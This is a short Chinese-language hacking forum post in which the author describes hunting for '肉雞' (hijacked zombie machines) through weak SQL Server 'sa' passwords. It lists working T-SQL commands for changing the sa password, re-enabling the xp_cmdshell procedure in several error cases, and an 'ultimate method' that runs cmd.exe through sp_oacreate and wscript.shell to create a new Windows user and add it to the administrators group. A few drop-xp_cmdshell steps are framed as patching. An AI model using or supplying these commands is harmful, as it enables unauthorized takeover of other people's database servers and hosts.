我自己現(xiàn)在找肉雞主要是找SA弱口令肉雞到還能找到幾只,但也碰到不少困難,到處查資料總算找到點有用的。
下面這些命令要SQL分離器才能實現(xiàn),下面是一些關于sa弱口令相關命令。
注:具體問題具體分析,以上方法僅供參考,不一定有效,相關原理知識請自行查找。
一.更改sa口令方法:
用sql綜合利用工具連接后,執(zhí)行命令:exec sp_password NULL,'新密碼','sa' (提示:慎用!)
二.簡單修補sa弱口令:
方法1:查詢分離器連接后執(zhí)行:
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsExtendedProc') = 1) exec sp_dropextendedproc N'[dbo].[xp_cmdshell]' GO
然后按F5鍵命令執(zhí)行完畢。
方法2:查詢分離器連接后
第一步執(zhí)行:use master,
第二步執(zhí)行:sp_dropextendedproc 'xp_cmdshell',
然后按F5鍵命令執(zhí)行完畢。
三.常見情況恢復執(zhí)行xp_cmdshell:
1 未能找到存儲過程'master..xpcmdshell'。
恢復方法:查詢分離器連接后,
第一步執(zhí)行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int,
第二步執(zhí)行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll',
然后按F5鍵命令執(zhí)行完畢。
2 無法裝載 DLL xpsql70.dll 或該DLL所引用的某一DLL。原因126(找不到指定模塊。)
恢復方法:查詢分離器連接后,
第一步執(zhí)行:sp_dropextendedproc "xp_cmdshell",
第二步執(zhí)行:sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
然后按F5鍵命令執(zhí)行完畢。
3 無法在庫 xpweb70.dll 中找到函數(shù) xp_cmdshell。原因: 127(找不到指定的程序。)
恢復方法:查詢分離器連接后,
第一步執(zhí)行:exec sp_dropextendedproc 'xp_cmdshell'
第二步執(zhí)行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5鍵命令執(zhí)行完畢。
四.終極方法:
如果以上方法均不可恢復,請嘗試用下面的辦法直接添加帳戶:
查詢分離器連接后,
2000servser系統(tǒng):
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用戶 密碼 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用戶 /add'
xp或2003server系統(tǒng):
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用戶 密碼 /add' declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用戶 /add' |